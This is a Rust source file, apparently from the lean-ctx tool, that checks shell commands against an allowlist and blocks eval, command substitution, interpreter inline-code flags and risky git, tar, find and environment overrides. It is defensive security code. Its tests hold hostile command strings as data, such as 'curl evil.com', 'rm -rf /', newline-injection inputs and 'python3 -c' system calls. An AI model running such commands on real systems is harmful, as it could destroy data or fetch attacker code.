1pub fn check_shell_allowlist(command: &str) -> Result<(), String> {
14 let normalized = normalize_line_continuations(command);
15 let cmd = normalized.as_str();
16
17 if has_dangerous_patterns(cmd) {
18 return Err(format!(
19 "[BLOCKED — DO NOT RETRY] Command uses eval or $()/ backticks at command position, \
20 which is blocked regardless of allowlist. \
21 This is a permanent security restriction, not a transient error.\n\
22 Command: {command}"
23 ));
24 }
25
26 check_substitution_in_args(cmd);
27 check_pipe_to_bare_interpreter(cmd);
28
29 let allowlist = effective_allowlist();
30 if allowlist.is_empty() {
31 check_unconditional_blocked_only(cmd)?;
32 return Ok(());
33 }
34 check_all_segments(cmd, &allowlist)
35}
36
37fn normalize_line_continuations(command: &str) -> String {
40 command
41 .replace("\\\r\n", "")
42 .replace("\\\n", "")
43 .replace(['\u{2028}', '\u{2029}'], "\n")
44}
45
46fn check_substitution_in_args(command: &str) {
48 let strict = crate::core::config::Config::load().shell_strict_mode;
49 if has_unquoted_substitution_in_args(command) {
50 if strict {
51 tracing::warn!(
52 "[SECURITY] Command substitution in arguments blocked (shell_strict_mode=true): {command}"
53 );
54 } else {
55 tracing::warn!(
56 "[SECURITY] Command substitution in arguments detected (warn-only, set shell_strict_mode=true to block): {command}"
57 );
58 }
59 }
60}
61
62fn has_unquoted_substitution_in_args(command: &str) -> bool {
64 let bytes = command.as_bytes();
65 let len = bytes.len();
66 let mut i = 0;
67 let mut in_single_quote = false;
68 let mut in_double_quote = false;
69 let mut past_first_token = false;
70 let mut seen_space_after_cmd = false;
71
72 while i < len {
73 let ch = bytes[i];
74 if in_single_quote {
75 if ch == b'\'' {
76 in_single_quote = false;
77 }
78 i += 1;
79 continue;
80 }
81 if in_double_quote {
82 if ch == b'"' && (i == 0 || bytes[i - 1] != b'\\') {
83 in_double_quote = false;
84 }
85 i += 1;
86 continue;
87 }
88 match ch {
89 b'\'' => {
90 in_single_quote = true;
91 i += 1;
92 }
93 b'"' => {
94 in_double_quote = true;
95 i += 1;
96 }
97 b' ' | b'\t' if !past_first_token => {
98 seen_space_after_cmd = true;
99 i += 1;
100 }
101 _ if !seen_space_after_cmd => {
102 i += 1;
103 }
104 _ => {
105 past_first_token = true;
106 if ch == b'$' && i + 1 < len && bytes[i + 1] == b'(' {
107 return true;
108 }
109 if ch == b'`' {
110 return true;
111 }
112 if (ch == b'<' || ch == b'>') && i + 1 < len && bytes[i + 1] == b'(' {
113 return true;
114 }
115 i += 1;
116 }
117 }
118 }
119 false
120}
121
122fn check_pipe_to_bare_interpreter(command: &str) {
124 let segments = split_on_operators(command);
125 let pipe_indices: Vec<usize> = {
126 let mut indices = Vec::new();
127 let bytes = command.as_bytes();
128 let len = bytes.len();
129 let mut j = 0;
130 let mut in_sq = false;
131 let mut in_dq = false;
132 while j < len {
133 if in_sq {
134 if bytes[j] == b'\'' {
135 in_sq = false;
136 }
137 j += 1;
138 continue;
139 }
140 if in_dq {
141 if bytes[j] == b'"' && (j == 0 || bytes[j - 1] != b'\\') {
142 in_dq = false;
143 }
144 j += 1;
145 continue;
146 }
147 match bytes[j] {
148 b'\'' => {
149 in_sq = true;
150 j += 1;
151 }
152 b'"' => {
153 in_dq = true;
154 j += 1;
155 }
156 b'|' if j + 1 < len && bytes[j + 1] != b'|' => {
157 indices.push(j);
158 j += 1;
159 }
160 _ => {
161 j += 1;
162 }
163 }
164 }
165 indices
166 };
167 let _ = pipe_indices;
168
169 for (idx, seg) in segments.iter().enumerate() {
170 if idx == 0 {
171 continue;
172 }
173 if is_bare_interpreter_stdin(seg) {
174 let base = extract_base_from_segment(seg);
175 let strict = crate::core::config::Config::load().shell_strict_mode;
176 if strict {
177 tracing::warn!(
178 "[SECURITY] Pipe to bare interpreter '{base}' blocked (shell_strict_mode=true)"
179 );
180 } else {
181 tracing::warn!("[SECURITY] Pipe to bare interpreter '{base}' detected (warn-only)");
182 }
183 }
184 }
185}
186
187fn check_unconditional_blocked_only(command: &str) -> Result<(), String> {
189 let segments = extract_all_commands(command);
190 for seg in &segments {
191 let base = extract_base_from_segment(seg);
192 if !base.is_empty() && UNCONDITIONAL_BLOCKED.contains(&base.as_str()) {
193 return Err(format!(
194 "[BLOCKED — DO NOT RETRY] '{base}' is unconditionally blocked \
195 regardless of allowlist configuration.\n\
196 Command: {command}"
197 ));
198 }
199 check_inline_env_block(seg)?;
200 check_interpreter_eval_only(seg)?;
201 check_dangerous_flags(seg)?;
202 }
203 Ok(())
204}
205
206fn check_interpreter_eval_only(segment: &str) -> Result<(), String> {
210 let trimmed = skip_env_assignments(segment.trim());
211 let tokens: Vec<&str> = trimmed.split_whitespace().collect();
212 if tokens.is_empty() {
213 return Ok(());
214 }
215 let base = tokens[0].rsplit('/').next().unwrap_or(tokens[0]);
216 if !INTERPRETER_COMMANDS.contains(&base) {
217 return Ok(());
218 }
219 for &tok in &tokens[1..] {
220 if EVAL_FLAGS.contains(&tok) {
221 return Err(format!(
222 "[BLOCKED — DO NOT RETRY] Interpreter '{base}' with inline code execution \
223 flag '{tok}' is blocked. Use a script file instead.\n\
224 This is a permanent security restriction."
225 ));
226 }
227 if has_eval_flag_prefix(tok) {
228 return Err(format!(
229 "[BLOCKED — DO NOT RETRY] Interpreter '{base}' with combined flag '{tok}' \
230 containing eval flag is blocked.\n\
231 This is a permanent security restriction."
232 ));
233 }
234 }
235 if tokens[1..].iter().any(|t| t.contains("<<")) {
236 return Err(format!(
237 "[BLOCKED — DO NOT RETRY] Interpreter '{base}' with heredoc stdin is blocked. \
238 Use a script file instead.\n\
239 This is a permanent security restriction."
240 ));
241 }
242 Ok(())
243}
244
245const UNCONDITIONAL_BLOCKED: &[&str] = &["eval", "exec", "source", "."];
248
249const INTERPRETER_COMMANDS: &[&str] = &[
251 "python", "python3", "python2", "node", "ruby", "perl", "lua", "php", "bash", "sh", "zsh",
252 "fish", "dash", "ksh",
253];
254
255const EVAL_FLAGS: &[&str] = &[
257 "-c", "-e", "-r", "-p", "--eval", "--exec", "-exec", "--print", "--run",
258];
259
260const SCRIPT_EXTENSIONS: &[&str] = &[
262 ".py", ".rb", ".js", ".ts", ".pl", ".lua", ".php", ".sh", ".bash", ".zsh", ".mjs", ".cjs",
263 ".tsx", ".jsx",
264];
265
266const DELEGATION_COMMANDS: &[&str] = &["env", "nice", "timeout", "sudo", "doas"];
268
269fn check_interpreter_abuse(segment: &str, allowlist: &[String]) -> Result<(), String> {
272 check_interpreter_abuse_inner(segment, allowlist, 0)
273}
274
275fn check_interpreter_abuse_inner(
276 segment: &str,
277 allowlist: &[String],
278 depth: usize,
279) -> Result<(), String> {
280 if depth > 3 {
281 return Ok(());
282 }
283 let trimmed = skip_env_assignments(segment.trim());
284 let tokens: Vec<&str> = trimmed.split_whitespace().collect();
285 if tokens.is_empty() {
286 return Ok(());
287 }
288
289 let base = tokens[0].rsplit('/').next().unwrap_or(tokens[0]);
290
291 if INTERPRETER_COMMANDS.contains(&base) {
292 for &tok in &tokens[1..] {
293 if EVAL_FLAGS.contains(&tok) {
294 return Err(format!(
295 "[BLOCKED — DO NOT RETRY] Interpreter '{base}' with inline code execution \
296 flag '{tok}' is blocked. Use a script file instead.\n\
297 This is a permanent security restriction."
298 ));
299 }
300 if has_eval_flag_prefix(tok) {
301 return Err(format!(
302 "[BLOCKED — DO NOT RETRY] Interpreter '{base}' with combined flag '{tok}' \
303 containing eval flag is blocked.\n\
304 This is a permanent security restriction."
305 ));
306 }
307 }
308 if tokens[1..].iter().any(|t| t.contains("<<")) {
309 return Err(format!(
310 "[BLOCKED — DO NOT RETRY] Interpreter '{base}' with heredoc stdin is blocked. \
311 Use a script file instead.\n\
312 This is a permanent security restriction."
313 ));
314 }
315 }
316
317 if DELEGATION_COMMANDS.contains(&base) {
318 let rest_tokens: Vec<&str> = tokens[1..]
319 .iter()
320 .skip_while(|t| t.starts_with('-') || t.contains('='))
321 .copied()
322 .collect();
323 if let Some(&delegated_tok) = rest_tokens.first() {
324 let delegated = delegated_tok.rsplit('/').next().unwrap_or(delegated_tok);
325 if !delegated.is_empty() && !allowlist.iter().any(|a| a == delegated) {
326 return Err(format!(
327 "[BLOCKED — DO NOT RETRY] '{base}' delegates to '{delegated}' which is not \
328 in the shell allowlist. This is a permanent restriction."
329 ));
330 }
331 let rest_str = rest_tokens.join(" ");
332 check_interpreter_abuse_inner(&rest_str, allowlist, depth + 1)?;
333 }
334 }
335
336 Ok(())
337}
338
339fn has_eval_flag_prefix(token: &str) -> bool {
341 if !token.starts_with('-') || token.starts_with("--") || token.len() < 3 {
342 return false;
343 }
344 let flag_chars = &token[1..];
345 let eval_chars = ['c', 'e', 'r', 'p'];
346 flag_chars.chars().any(|c| eval_chars.contains(&c))
347}
348
349fn is_bare_interpreter_stdin(segment: &str) -> bool {
351 let trimmed = skip_env_assignments(segment.trim());
352 let tokens: Vec<&str> = trimmed.split_whitespace().collect();
353 if tokens.is_empty() {
354 return false;
355 }
356 let base = tokens[0].rsplit('/').next().unwrap_or(tokens[0]);
357 if !INTERPRETER_COMMANDS.contains(&base) {
358 return false;
359 }
360 !tokens[1..]
361 .iter()
362 .any(|t| !t.starts_with('-') && SCRIPT_EXTENSIONS.iter().any(|ext| t.ends_with(ext)))
363}
364
365const DANGEROUS_GIT_FLAGS: &[&str] = &[
367 "--upload-pack",
368 "--receive-pack",
369 "--config=core.sshcommand",
370 "--config=core.gitproxy",
371];
372
373const DANGEROUS_TAR_FLAGS: &[&str] = &["--to-command", "--use-compress-program"];
374
375const BLOCKED_INLINE_ENV: &[&str] = &[
377 "PATH=",
378 "GIT_ASKPASS=",
379 "GIT_SSH=",
380 "GIT_SSH_COMMAND=",
381 "GIT_EDITOR=",
382 "GIT_EXTERNAL_DIFF=",
383 "SSH_ASKPASS=",
384 "LD_PRELOAD=",
385 "DYLD_INSERT_LIBRARIES=",
386];
387
388fn check_dangerous_flags(segment: &str) -> Result<(), String> {
389 let trimmed = skip_env_assignments(segment.trim());
390 let tokens: Vec<&str> = trimmed.split_whitespace().collect();
391 if tokens.is_empty() {
392 return Ok(());
393 }
394 let base = tokens[0].rsplit('/').next().unwrap_or(tokens[0]);
395
396 match base {
397 "git" => {
398 for &tok in &tokens[1..] {
399 for flag in DANGEROUS_GIT_FLAGS {
400 if tok.starts_with(flag) {
401 return Err(format!(
402 "[BLOCKED — DO NOT RETRY] 'git' with dangerous flag '{tok}' is blocked.\n\
403 This is a permanent security restriction."
404 ));
405 }
406 }
407 }
408 }
409 "tar" => {
410 for &tok in &tokens[1..] {
411 for flag in DANGEROUS_TAR_FLAGS {
412 if tok.starts_with(flag) {
413 return Err(format!(
414 "[BLOCKED — DO NOT RETRY] 'tar' with dangerous flag '{tok}' is blocked.\n\
415 This is a permanent security restriction."
416 ));
417 }
418 }
419 }
420 }
421 "find" => {
422 for &tok in &tokens[1..] {
423 if tok == "-exec" || tok == "-execdir" {
424 return Err(format!(
425 "[BLOCKED — DO NOT RETRY] 'find' with '{tok}' is blocked. \
426 Use 'find ... -print' and pipe to xargs instead.\n\
427 This is a permanent security restriction."
428 ));
429 }
430 }
431 }
432 "awk" | "gawk" | "mawk" => {
433 for &tok in &tokens[1..] {
434 if tok.contains("system(") {
435 return Err(format!(
436 "[BLOCKED — DO NOT RETRY] '{base}' with 'system()' call is blocked.\n\
437 This is a permanent security restriction."
438 ));
439 }
440 }
441 }
442 _ => {}
443 }
444 Ok(())
445}
446
447fn check_inline_env_block(segment: &str) -> Result<(), String> {
448 let trimmed = segment.trim();
449 for blocked in BLOCKED_INLINE_ENV {
450 if trimmed.starts_with(blocked) {
451 return Err(format!(
452 "[BLOCKED — DO NOT RETRY] Inline environment override '{blocked}' is blocked.\n\
453 This is a permanent security restriction."
454 ));
455 }
456 }
457 Ok(())
458}
459
460fn check_all_segments(command: &str, allowlist: &[String]) -> Result<(), String> {
461 if allowlist.is_empty() {
462 return Ok(());
463 }
464
465 if has_dangerous_patterns(command) {
466 return Err(format!(
467 "[BLOCKED — DO NOT RETRY] Command uses eval or $()/ backticks at command position, \
468 which is blocked in restricted mode. \
469 This is a permanent security restriction, not a transient error.\n\
470 Command: {command}"
471 ));
472 }
473
474 let segments = extract_all_commands(command);
475 if segments.is_empty() {
476 return Err("[BLOCKED — DO NOT RETRY] Empty command".to_string());
477 }
478
479 for seg in &segments {
480 check_inline_env_block(seg)?;
481 let base = extract_base_from_segment(seg);
482 if base.is_empty() {
483 continue;
484 }
485 if UNCONDITIONAL_BLOCKED.contains(&base.as_str()) {
486 return Err(format!(
487 "[BLOCKED — DO NOT RETRY] '{base}' is unconditionally blocked \
488 regardless of allowlist membership. \
489 This is a permanent security restriction.\n\
490 Command: {command}"
491 ));
492 }
493 check_interpreter_abuse(seg, allowlist)?;
494 check_dangerous_flags(seg)?;
495 if !allowlist.iter().any(|a| a == &base) {
496 return Err(format!(
497 "[BLOCKED — DO NOT RETRY] '{base}' is not in the shell allowlist. \
498 This is a permanent restriction, not a transient error.\n\
499 Fix: add '{base}' to shell_allowlist in ~/.lean-ctx/config.toml\n\
500 Or disable the allowlist: shell_allowlist = []\n\
501 Do NOT retry this command — it will fail again with the same error."
502 ));
503 }
504 }
505 Ok(())
506}
507
508fn has_dangerous_patterns(command: &str) -> bool {
516 let trimmed = command.trim();
517
518 for blocked in UNCONDITIONAL_BLOCKED {
519 let with_space = format!("{blocked} ");
520 if trimmed.starts_with(&with_space) {
521 return true;
522 }
523 for sep in ["; ", "&& ", "|| ", "| ", "\n"] {
524 if trimmed.contains(&format!("{sep}{blocked} ")) {
525 return true;
526 }
527 }
528 }
529
530 if has_substitution_at_command_pos(trimmed) {
531 return true;
532 }
533
534 false
535}
536
537fn has_substitution_at_command_pos(command: &str) -> bool {
541 let segments = split_on_operators(command);
542 for seg in segments {
543 let trimmed = seg.trim();
544 let cmd_start = skip_env_assignments(trimmed);
545
546 if cmd_start.starts_with("$(") {
547 return true;
548 }
549
550 let first_token = cmd_start.split_whitespace().next().unwrap_or("");
551 if first_token.starts_with('`') || first_token == "`" {
552 return true;
553 }
554 }
555 false
556}
557
558fn extract_all_commands(command: &str) -> Vec<String> {
561 split_on_operators(command)
562 .into_iter()
563 .map(|s| s.trim().to_string())
564 .filter(|s| !s.is_empty())
565 .collect()
566}
567
568fn split_on_operators(command: &str) -> Vec<&str> {
571 let mut segments = Vec::new();
572 let mut start = 0;
573 let bytes = command.as_bytes();
574 let len = bytes.len();
575 let mut i = 0;
576 let mut in_single_quote = false;
577 let mut in_double_quote = false;
578 let mut paren_depth: u32 = 0;
579
580 while i < len {
581 let ch = bytes[i];
582
583 if in_single_quote {
584 if ch == b'\'' {
585 in_single_quote = false;
586 }
587 i += 1;
588 continue;
589 }
590
591 if in_double_quote {
592 if ch == b'"' && (i == 0 || bytes[i - 1] != b'\\') {
593 in_double_quote = false;
594 }
595 i += 1;
596 continue;
597 }
598
599 match ch {
600 b'\'' => {
601 in_single_quote = true;
602 i += 1;
603 }
604 b'"' => {
605 in_double_quote = true;
606 i += 1;
607 }
608 b'(' => {
609 paren_depth += 1;
610 i += 1;
611 }
612 b')' => {
613 paren_depth = paren_depth.saturating_sub(1);
614 i += 1;
615 }
616 b'\n' | b'\r' | b';' if paren_depth == 0 => {
617 segments.push(&command[start..i]);
618 i += 1;
619 start = i;
620 }
621 b'&' if paren_depth == 0 => {
622 if i + 1 < len && bytes[i + 1] == b'&' {
623 segments.push(&command[start..i]);
625 i += 2;
626 start = i;
627 } else {
628 segments.push(&command[start..i]);
630 i += 1;
631 start = i;
632 }
633 }
634 b'|' if paren_depth == 0 => {
635 if i + 1 < len && bytes[i + 1] == b'|' {
636 segments.push(&command[start..i]);
638 i += 2;
639 start = i;
640 } else {
641 segments.push(&command[start..i]);
643 i += 1;
644 start = i;
645 }
646 }
647 _ => {
648 i += 1;
649 }
650 }
651 }
652
653 if start < len {
654 segments.push(&command[start..]);
655 }
656
657 segments
658}
659
660fn extract_base_from_segment(segment: &str) -> String {
662 let trimmed = segment.trim();
663 if trimmed.is_empty() {
664 return String::new();
665 }
666
667 let cmd_part = skip_env_assignments(trimmed);
668 if cmd_part.is_empty() {
669 return String::new();
670 }
671
672 let first_token = cmd_part.split_whitespace().next().unwrap_or("");
674
675 first_token
677 .rsplit('/')
678 .next()
679 .unwrap_or(first_token)
680 .to_string()
681}
682
683fn skip_env_assignments(segment: &str) -> &str {
685 let mut rest = segment;
686 loop {
687 let token = rest.split_whitespace().next().unwrap_or("");
688 if token.is_empty() {
689 return rest;
690 }
691 if token.contains('=')
693 && !token.starts_with('-')
694 && !token.starts_with('/')
695 && !token.starts_with('.')
696 {
697 let after = &rest[rest.find(token).unwrap_or(0) + token.len()..];
699 rest = after.trim_start();
700 } else {
701 return rest;
702 }
703 }
704}
705
706fn effective_allowlist() -> Vec<String> {
707 if let Ok(ov) = std::env::var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE") {
709 return ov
710 .split(',')
711 .map(|s| s.trim().to_string())
712 .filter(|s| !s.is_empty())
713 .collect();
714 }
715 let mut list = crate::core::config::Config::load().shell_allowlist;
716 if let Ok(env_val) = std::env::var("LEAN_CTX_SHELL_ALLOWLIST") {
717 for entry in env_val
718 .split(',')
719 .map(|s| s.trim().to_string())
720 .filter(|s| !s.is_empty())
721 {
722 if !list.contains(&entry) {
723 list.push(entry);
724 }
725 }
726 }
727 list
728}
729
730pub fn extract_all_commands_pub(command: &str) -> Vec<String> {
732 extract_all_commands(command)
733}
734
735pub fn extract_base_command(command: &str) -> String {
737 let first_seg = split_on_operators(command)
738 .into_iter()
739 .next()
740 .unwrap_or(command);
741 extract_base_from_segment(first_seg)
742}
743
744#[cfg(test)]
745mod tests {
746 use super::*;
747
748 #[test]
751 fn extract_simple_command() {
752 assert_eq!(extract_base_command("git status"), "git");
753 }
754
755 #[test]
756 fn extract_with_path() {
757 assert_eq!(extract_base_command("/usr/bin/git log"), "git");
758 }
759
760 #[test]
761 fn extract_with_env_assignment() {
762 assert_eq!(extract_base_command("LANG=en_US git log"), "git");
763 }
764
765 #[test]
766 fn extract_chained_commands() {
767 assert_eq!(extract_base_command("cd /tmp && ls -la"), "cd");
768 }
769
770 #[test]
771 fn extract_piped_command() {
772 assert_eq!(extract_base_command("grep foo | wc -l"), "grep");
773 }
774
775 #[test]
776 fn extract_semicolon_chain() {
777 assert_eq!(extract_base_command("echo hello; rm -rf /"), "echo");
778 }
779
780 #[test]
781 fn extract_empty_command() {
782 assert_eq!(extract_base_command(""), "");
783 }
784
785 #[test]
786 fn extract_whitespace_only() {
787 assert_eq!(extract_base_command(" "), "");
788 }
789
790 #[test]
791 fn extract_multiple_env_vars() {
792 assert_eq!(extract_base_command("FOO=bar BAZ=qux cargo test"), "cargo");
793 }
794
795 fn allow(cmds: &[&str]) -> Vec<String> {
798 cmds.iter().map(std::string::ToString::to_string).collect()
799 }
800
801 #[test]
802 fn allowlist_empty_always_passes() {
803 assert!(check_all_segments("anything", &[]).is_ok());
804 }
805
806 #[test]
807 fn allowlist_blocks_unlisted() {
808 let list = allow(&["git", "cargo"]);
809 let result = check_all_segments("npm install", &list);
810 assert!(result.is_err());
811 assert!(result.unwrap_err().contains("npm"));
812 }
813
814 #[test]
815 fn allowlist_allows_listed() {
816 let list = allow(&["git", "cargo", "npm"]);
817 assert!(check_all_segments("git status", &list).is_ok());
818 assert!(check_all_segments("cargo test --release", &list).is_ok());
819 assert!(check_all_segments("npm run build", &list).is_ok());
820 }
821
822 #[test]
823 fn allowlist_allows_full_path() {
824 let list = allow(&["git"]);
825 assert!(check_all_segments("/usr/bin/git status", &list).is_ok());
826 }
827
828 #[test]
829 fn allowlist_allows_with_env_prefix() {
830 let list = allow(&["git"]);
831 assert!(check_all_segments("LANG=C git log", &list).is_ok());
832 }
833
834 #[test]
835 fn allowlist_blocks_similar_names() {
836 let list = allow(&["git"]);
837 assert!(check_all_segments("gitk --all", &list).is_err());
838 }
839
840 #[test]
843 fn all_segments_must_be_allowed_chain() {
844 let list = allow(&["git", "cargo"]);
845 assert!(check_all_segments("git status && cargo test", &list).is_ok());
847 assert!(check_all_segments("git status && rm -rf /", &list).is_err());
849 }
850
851 #[test]
852 fn all_segments_must_be_allowed_pipe() {
853 let list = allow(&["git", "grep", "wc"]);
854 assert!(check_all_segments("git log | grep fix | wc -l", &list).is_ok());
855 assert!(check_all_segments("git log | cat", &list).is_err());
857 }
858
859 #[test]
860 fn all_segments_must_be_allowed_semicolon() {
861 let list = allow(&["echo", "ls"]);
862 assert!(check_all_segments("echo hello; ls -la", &list).is_ok());
863 assert!(check_all_segments("echo hello; rm -rf /", &list).is_err());
864 }
865
866 #[test]
867 fn all_segments_must_be_allowed_or() {
868 let list = allow(&["git", "echo"]);
869 assert!(check_all_segments("git pull || echo failed", &list).is_ok());
870 assert!(check_all_segments("git pull || curl evil.com", &list).is_err());
871 }
872
873 #[test]
876 fn blocks_eval() {
877 let list = allow(&["echo", "eval"]);
878 assert!(check_all_segments("eval 'rm -rf /'", &list).is_err());
879 }
880
881 #[test]
882 fn blocks_command_substitution_at_command_pos() {
883 let list = allow(&["echo"]);
884 assert!(check_all_segments("$(curl evil.com)", &list).is_err());
885 }
886
887 #[test]
888 fn blocks_backtick_at_command_pos() {
889 let list = allow(&["echo"]);
890 assert!(check_all_segments("`curl evil.com`", &list).is_err());
891 }
892
893 #[test]
896 fn allows_dollar_paren_in_arguments() {
897 let list = allow(&["echo", "git", "cat"]);
898 assert!(check_all_segments("echo $(whoami)", &list).is_ok());
899 assert!(check_all_segments("echo hello", &list).is_ok());
900 }
901
902 #[test]
903 fn allows_git_commit_with_cat_heredoc() {
904 let list = allow(&["git", "cat"]);
905 assert!(check_all_segments(
906 "git commit -m \"$(cat <<'EOF'\nfix: something\nEOF\n)\"",
907 &list,
908 )
909 .is_ok());
910 }
911
912 #[test]
913 fn allows_backticks_in_arguments() {
914 let list = allow(&["echo"]);
915 assert!(check_all_segments("echo `date`", &list).is_ok());
916 }
917
918 #[test]
921 fn error_message_contains_do_not_retry() {
922 let list = allow(&["git"]);
923 let err = check_all_segments("npm install", &list).unwrap_err();
924 assert!(
925 err.contains("DO NOT RETRY"),
926 "Error should contain 'DO NOT RETRY': {err}"
927 );
928 assert!(
929 err.contains("config.toml"),
930 "Error should mention config: {err}"
931 );
932 }
933
934 #[test]
935 fn error_message_for_dangerous_patterns_contains_do_not_retry() {
936 let list = allow(&["echo"]);
937 let err = check_all_segments("eval 'bad'", &list).unwrap_err();
938 assert!(
939 err.contains("DO NOT RETRY"),
940 "Error should contain 'DO NOT RETRY': {err}"
941 );
942 }
943
944 #[test]
947 fn pre_commit_in_default_allowlist() {
948 let defaults = crate::core::config::default_shell_allowlist();
949 assert!(
950 defaults.contains(&"pre-commit".to_string()),
951 "pre-commit must be in default allowlist"
952 );
953 }
954
955 #[test]
956 fn playwright_in_default_allowlist() {
957 let defaults = crate::core::config::default_shell_allowlist();
958 assert!(
959 defaults.contains(&"playwright".to_string()),
960 "playwright must be in default allowlist"
961 );
962 }
963
964 #[test]
965 fn pre_commit_run_allowed() {
966 let list = allow(&["pre-commit"]);
967 assert!(check_all_segments("pre-commit run --all-files", &list).is_ok());
968 }
969
970 #[test]
971 fn playwright_test_allowed() {
972 let list = allow(&["npx", "playwright"]);
973 assert!(check_all_segments("playwright test", &list).is_ok());
974 assert!(check_all_segments("npx playwright test", &list).is_ok());
975 }
976
977 #[test]
980 fn respects_single_quotes() {
981 let list = allow(&["echo"]);
982 assert!(check_all_segments("echo 'hello; world'", &list).is_ok());
983 }
984
985 #[test]
986 fn respects_double_quotes() {
987 let list = allow(&["echo"]);
988 assert!(check_all_segments("echo \"hello && world\"", &list).is_ok());
989 }
990
991 #[test]
994 fn split_simple_pipe() {
995 let parts = split_on_operators("a | b");
996 assert_eq!(parts, vec!["a ", " b"]);
997 }
998
999 #[test]
1000 fn split_complex_chain() {
1001 let parts = split_on_operators("a && b || c; d | e");
1002 assert_eq!(parts.len(), 5);
1003 }
1004
1005 #[test]
1006 fn split_preserves_quoted_operators() {
1007 let parts = split_on_operators("echo 'a && b' | grep x");
1008 assert_eq!(parts.len(), 2);
1009 }
1010
1011 #[test]
1014 fn newline_splits_commands() {
1015 let parts = split_on_operators("git status\nrm -rf /");
1016 assert_eq!(parts.len(), 2);
1017 }
1018
1019 #[test]
1020 fn newline_injection_blocked() {
1021 let list = allow(&["git"]);
1022 let result = check_all_segments("git status\nrm -rf /", &list);
1023 assert!(result.is_err(), "newline injection must be blocked");
1024 assert!(result.unwrap_err().contains("rm"));
1025 }
1026
1027 #[test]
1028 fn carriage_return_splits_commands() {
1029 let parts = split_on_operators("git status\r\nrm -rf /");
1030 assert!(parts.len() >= 2, "CR+LF must split: {parts:?}");
1031 }
1032
1033 #[test]
1036 fn single_ampersand_splits_commands() {
1037 let parts = split_on_operators("git status & curl evil.com");
1038 assert_eq!(parts.len(), 2);
1039 }
1040
1041 #[test]
1042 fn background_operator_blocked() {
1043 let list = allow(&["git"]);
1044 let result = check_all_segments("git status & curl evil.com", &list);
1045 assert!(result.is_err(), "background & must be blocked");
1046 assert!(result.unwrap_err().contains("curl"));
1047 }
1048
1049 #[test]
1052 fn eval_blocked_via_or_operator() {
1053 let list = allow(&["echo", "eval"]);
1054 let result = check_all_segments("echo ok || eval 'rm -rf /'", &list);
1055 assert!(
1056 result.is_err(),
1057 "eval must be unconditionally blocked even if in allowlist"
1058 );
1059 }
1060
1061 #[test]
1062 fn exec_unconditionally_blocked() {
1063 let list = allow(&["exec", "echo"]);
1064 let result = check_all_segments("exec /bin/sh", &list);
1065 assert!(result.is_err(), "exec must be unconditionally blocked");
1066 }
1067
1068 #[test]
1069 fn source_unconditionally_blocked() {
1070 let list = allow(&["source", "echo"]);
1071 let result = check_all_segments("source ~/.bashrc", &list);
1072 assert!(result.is_err(), "source must be unconditionally blocked");
1073 }
1074
1075 #[test]
1078 fn empty_allowlist_still_blocks_eval_at_start() {
1079 let result = check_shell_allowlist("eval 'rm -rf /'");
1080 assert!(
1083 result.is_err(),
1084 "eval at start must be blocked even with empty allowlist"
1085 );
1086 }
1087
1088 #[test]
1089 fn empty_allowlist_still_blocks_dollar_paren_at_start() {
1090 let result = check_shell_allowlist("$(curl evil.com)");
1091 assert!(
1092 result.is_err(),
1093 "$() at command position must be blocked even with empty allowlist"
1094 );
1095 }
1096
1097 #[test]
1100 fn python_c_blocked() {
1101 let list = allow(&["python3"]);
1102 let result = check_all_segments("python3 -c 'import os; os.system(\"id\")'", &list);
1103 assert!(result.is_err(), "python3 -c must be blocked");
1104 }
1105
1106 #[test]
1107 fn node_e_blocked() {
1108 let list = allow(&["node"]);
1109 let result = check_all_segments("node -e 'process.exit(1)'", &list);
1110 assert!(result.is_err(), "node -e must be blocked");
1111 }
1112
1113 #[test]
1114 fn python_script_allowed() {
1115 let list = allow(&["python3"]);
1116 let result = check_all_segments("python3 script.py", &list);
1117 assert!(result.is_ok(), "python3 with script file must be allowed");
1118 }
1119
1120 #[test]
1121 fn env_delegates_to_unlisted_blocked() {
1122 let list = allow(&["env", "git"]);
1123 let result = check_all_segments("env /bin/sh -c 'id'", &list);
1124 assert!(
1125 result.is_err(),
1126 "env delegating to unlisted command must be blocked"
1127 );
1128 }
1129
1130 #[test]
1131 fn env_delegates_to_listed_allowed() {
1132 let list = allow(&["env", "git"]);
1133 let result = check_all_segments("env git status", &list);
1134 assert!(
1135 result.is_ok(),
1136 "env delegating to listed command must be allowed"
1137 );
1138 }
1139
1140 #[test]
1143 fn env_override_is_additive() {
1144 let base_list = crate::core::config::default_shell_allowlist();
1145 assert!(base_list.contains(&"git".to_string()));
1146 }
1147
1148 #[test]
1151 fn dot_source_alias_blocked() {
1152 let list = allow(&["echo"]);
1153 let result = check_all_segments(". ~/.bashrc", &list);
1154 assert!(result.is_err(), ". (source alias) must be blocked");
1155 }
1156
1157 #[test]
1158 fn backslash_newline_normalized() {
1159 let normalized = normalize_line_continuations("echo ok && \\\ncurl evil");
1160 assert!(
1161 !normalized.contains('\n'),
1162 "backslash-newline must be removed"
1163 );
1164 assert!(
1165 normalized.contains("curl"),
1166 "content after continuation must be preserved"
1167 );
1168 }
1169
1170 #[test]
1171 fn delegation_recursive_interpreter_check() {
1172 let list = allow(&["env", "python3"]);
1173 let result = check_all_segments("env python3 -c 'import os'", &list);
1174 assert!(
1175 result.is_err(),
1176 "env python3 -c must be blocked via recursive check"
1177 );
1178 }
1179
1180 #[test]
1181 fn delegation_recursive_normal_allowed() {
1182 let list = allow(&["env", "git"]);
1183 let result = check_all_segments("env git status", &list);
1184 assert!(result.is_ok(), "env git status must be allowed");
1185 }
1186
1187 #[test]
1188 fn eval_flags_extended_r() {
1189 let list = allow(&["php"]);
1190 let result = check_all_segments("php -r 'system(\"id\")'", &list);
1191 assert!(result.is_err(), "php -r must be blocked");
1192 }
1193
1194 #[test]
1195 fn eval_flags_extended_p() {
1196 let list = allow(&["node"]);
1197 let result = check_all_segments("node -p 'process.exit(1)'", &list);
1198 assert!(result.is_err(), "node -p must be blocked");
1199 }
1200
1201 #[test]
1202 fn combined_flags_pe_blocked() {
1203 let list = allow(&["perl"]);
1204 let result = check_all_segments("perl -pe 's/foo/bar/'", &list);
1205 assert!(result.is_err(), "perl -pe must be blocked (combined flag)");
1206 }
1207
1208 #[test]
1209 fn combined_flags_ne_blocked() {
1210 let list = allow(&["perl"]);
1211 let result = check_all_segments("perl -ne 'print'", &list);
1212 assert!(result.is_err(), "perl -ne must be blocked (combined flag)");
1213 }
1214
1215 #[test]
1216 fn heredoc_to_interpreter_blocked() {
1217 let list = allow(&["python3"]);
1218 let result = check_all_segments("python3 <<'EOF'", &list);
